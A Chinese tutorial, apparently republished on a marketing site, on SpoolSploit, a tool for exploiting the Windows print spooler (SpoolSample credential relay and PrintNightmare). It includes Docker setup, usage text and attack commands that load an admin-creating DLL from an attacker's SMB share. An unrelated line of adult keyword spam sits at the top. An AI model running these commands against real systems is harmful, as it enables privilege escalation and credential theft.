日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間：8:30-17:00
你可能遇到了下面的問題
關閉右側工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
如何使用SpoolSploit審查Windows打印后臺處理程序的安全性

關于SpoolSploit

SpoolSploit是一款針對Windows打印后臺處理程序(print spooler)的安全審計工具，廣大研究人員可以使用SpoolSploit檢測Windows打印后臺處理程序(print spooler)中存在的安全漏洞，并通過實際的利用技術來進行滲透測試或安全審計。

SpoolSploit中還封裝了很多其他的實用工具，以便進行實際的漏洞利用和滲透測試。并實現(xiàn)了兩種方法來中繼計算機帳戶憑據(jù)，以升級權限并在具有完全系統(tǒng)訪問權限的節(jié)點上執(zhí)行惡意DLL。

快速開始

自該項目發(fā)布之日起，SpoolSploit Docker容器已在最新版本的macOS、Ubuntu Linux和Windows 10上成功測試。

我們建議廣大用戶在SpoolSploit Docker容器內(nèi)執(zhí)行滲透測試或憑據(jù)中繼測試，并托管相應的DLL文件，然后確保運行Docker容器的主機上開啟并未使用的445端口。在Windows主機上運行此容器時，這種情況最為普遍，因為默認情況下它使用的是端口445。如果你的主機上端口445已被占用或無法使用的話，可以在網(wǎng)橋模式下配置了網(wǎng)絡適配器的虛擬機中運行Docker容器即可。

(1) 工具下載&訪問SpoolSploit容器

首先，使用下列命令將該項目源碼克隆至本地：

 
 
 
    
  
  
  
  1. git clone https://github.com/BeetleChunks/SpoolSploit 
    2.

接下來，構建SpoolSploit Docker容器鏡像：

 
 
 
    
  
  
  
  1. cd SpoolSploit 
    2. 
  
  
  
  2.  
    3. 
  
  
  
  3. sudo docker build -t spoolsploit . 
    4.

創(chuàng)建并啟動SpoolSploit Docker容器：

 
 
 
    
  
  
  
  1. sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest 
    2.

綁定容器：

 
 
 
    
  
  
  
  1. sudo docker exec -it spoolsploit /bin/bash 
    2.

(2) 命令行使用

 
 
 
    
  
  
  
  1. usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD 
    2. 
  
  
  
  2.  
    3. 
  
  
  
  3. optional arguments: 
    4. 
  
  
  
  4.  
    5. 
  
  
  
  5.   -h, --help               顯示幫助信息并退出 
    6. 
  
  
  
  6.  
    7. 
  
  
  
  7.   -a {spoolsample,nightmare}, --attack {spoolsample,nightmare} 
    8. 
  
  
  
  8.  
    9. 
  
  
  
  9.                         需要在目標主機上執(zhí)行的測試類型 
    10. 
  
  
  
  10.  
    11. 
  
  
  
  11.   -rH RHOST, --rhost RHOST 
    12. 
  
  
  
  12.  
    13. 
  
  
  
  13.                         遠程目標IP、CIDR范圍或文件名 (file:) 
    14. 
  
  
  
  14.  
    15. 
  
  
  
  15.   -rP {139,445}, --rport {139,445} 
    16. 
  
  
  
  16.  
    17. 
  
  
  
  17.                         遠程SMB服務器端口 
    18. 
  
  
  
  18.  
    19. 
  
  
  
  19.   -lH LHOST, --lhost LHOST 
    20. 
  
  
  
  20.  
    21. 
  
  
  
  21.                         監(jiān)聽主機名或IP地址 
    22. 
  
  
  
  22.  
    23. 
  
  
  
  23.   -lS LSHARE, --lshare LSHARE 
    24. 
  
  
  
  24.  
    25. 
  
  
  
  25.                         SMB共享 (UNC) 
    26. 
  
  
  
  26.  
    27. 
  
  
  
  27.   -d DOMAIN, --domain DOMAIN 
    28. 
  
  
  
  28.  
    29. 
  
  
  
  29.                         身份認證域名 
    30. 
  
  
  
  30.  
    31. 
  
  
  
  31.   -u USER, --username USER 
    32. 
  
  
  
  32.  
    33. 
  
  
  
  33.                         身份認證用戶名 
    34. 
  
  
  
  34.  
    35. 
  
  
  
  35.   -p PASSWD, --password PASSWD 
    36. 
  
  
  
  36.  
    37. 
  
  
  
  37.                         身份認證密碼 
    38.

工機使用樣例

使用樣例1：

 
 
 
    
  
  
  
  1. python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 
    2.

使用樣例2：

 
 
 
    
  
  
  
  1. python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 
    2.

SpoolSample - Windows設備賬號憑證獲取和中繼

 
 
 
    
  
  
  
  1. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/ 
    2. 
  
  
  
  2.  
    3. 
  
  
  
  3. sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' 
    4.

工具使用截圖

項目地址

SpoolSploit：【GitHub傳送門】


當前題目：如何使用SpoolSploit審查Windows打印后臺處理程序的安全性
路徑分享：http://www.dlmjj.cn/article/dhegcji.html